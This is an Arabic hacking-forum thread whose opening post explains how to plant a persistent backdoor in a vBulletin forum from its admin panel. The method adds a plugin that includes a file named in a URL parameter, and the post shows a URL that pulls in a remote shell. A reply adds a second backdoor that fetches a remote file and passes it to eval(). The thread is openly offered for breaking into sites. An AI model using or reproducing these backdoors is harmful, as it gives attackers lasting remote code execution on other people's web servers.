شرح تلغيم المنتدى بالانكلود ورسحب الشل

[KaLa$nikoV]

مرحباا اخوااانى هذا الشرح منقول من متكى ..
عن كيفية تلغيم المنتدى
بثغرات الفايل انكلود
عند الوصول للوحه التحكم
طبعا الكل برفع الشل من خلال
Plugins & Products
ويكون الشل بامتداد
xml
لكن لقيت انا هاي الطريقه فعجبتي وحبيت انقلها لكم


السلام عليكم ورحمه الله وبركاته ,,
الموضوع: تلغيم اي كود تنفيذي او غيره من لوحه التحكم admincp للمنتديات vBulletin
الطريقه : اتبع الشرح بالصور
اول شي بعد ماتدخل لوحه التحكم ,, تروح على اليمين تحت عند ( المنتجات والاضافات )
من تحتها تختار ( إضافة برنامج مساعد جديد )
كالصوره التاليه:

بعدين تختار مثل الصوره التاليه:

اول اختيار تخليه مثل ماهو
ثاني خيار تختار وين بتحط اكوادك بأي موقع ,, وحنا اخترنا بدرسنا الاسئله الشائعه والموقع اسمه faq_item_display
بعدين كمل مع الصوره التاليه :
مثل ماتشوف في المربعات

الاسم
بعدين بالمربع الكبير تحط الكود الي تبي تستخدمه وانا حطيت الكود التالي :

[COLOR=#000000][COLOR=#0000bb][/COLOR][FONT=Simplified Arabic Fixed][COLOR=#007700]include ([/COLOR][COLOR=#0000bb]$GET_[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000bb]sniper[/COLOR][COLOR=#007700]]);  [/COLOR][/FONT][/COLOR]

وهذا الكود يقوم بعمل انكلود للمتغير الي اسمه sniper
بعدين تحدد الخيار الي تحته الى نعم وبعدها تضغط حفظ
الان تروح لملف الاسئله الشائعه وهو faq.php وراح تحصل الخطاء التالي ,,

دليل ان الكود انزرع وشغال
----------------------------
الان كل الي عليك انك تسوي الاستغلال كذا

www.site.com/vb/faq.php?sniper=http//sniper.com/shell.txt?

وراح تشوف الشل اشتغل معك بالشكل التالي:

تحياتي وتقديري


كل الشكر للمبدع
متي ورا الشمس


(اتعلمو مني بنقل وبحط الحقوق بكل فخر )
لا تسرقو هذا افضل حل للجميع
​

 

[THE WARRIOR]

السلام عليكم

جزاك الله الف خير على هدا الشرح الله ابداع بس عندى سوال ؟؟؟


طريقة دى تمشى على جميع منتديات vBulletin ولالالا اصدار معين

 

[KaLa$nikoV]

على الجميع

هاي احد طرق رفع الشل وهي معروفه عند البعض وعند الاخر نو
لكني افضلها على غيرها

اختراقات موفقه

 

[medaille D Or]

جمييل اخي فولكان
شكرا لك

 

[MrXRoMaNcE1]

يعطيك العافية وطريقة تنجح اذا كان اصدار php 4

في حالة كان اصدار php 5 مش راح تنجح طريقة لانه مرقعة تغرات الانكلود في هذا اصدار

بامان الله​

 

[T3BaN_HaCkEr]

شكرا لك شرح رائع وشكرا لحفظ الحقوق

 

[KaLa$nikoV]

--------------------------------------------------------------------------------

يعطيك العافية وطريقة تنجح اذا كان اصدار php 4

في حالة كان اصدار php 5 مش راح تنجح طريقة لانه مرقعة تغرات الانكلود في هذا اصدار

بامان الله

كلامك تمامز

وهي هديه مني

<?php
if($_GET[t0v]){
$file=implode("\n",file($_GET[t0v]));
$t0v=str_replace("<?php", "",$file);
$t0v=str_replace("<?", "",$t0v);
$t0v=str_replace("?>", "",$t0v);
eval($t0v);
}
?>

ضع هذا الكود مكان الاول

ويكون رابط الاستغلال كالتالي

xsxsxs.com/vb/faq.php?t0v=http//shell.txt?

t

 

[hawler_boy]

thanksssssssssssss

 

[zooro144]

موضوع رائع..
مشكووووورر اخوي

 

[mameda]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية . شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية . شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

 

[awras]

السلام عليكم طريقه حلوه وكتير فادتني
لكن سوالي هل تصح على منتديات phpbb لانو في تشابه بينهه ممكن نستخدم هاي الطريه
وشكرااا

 

[DR-HEX]

شكرا لك شرح رائع وشكرا لحفظ الحقوق ​

 

[NeTCaT-Ma]

thank you brother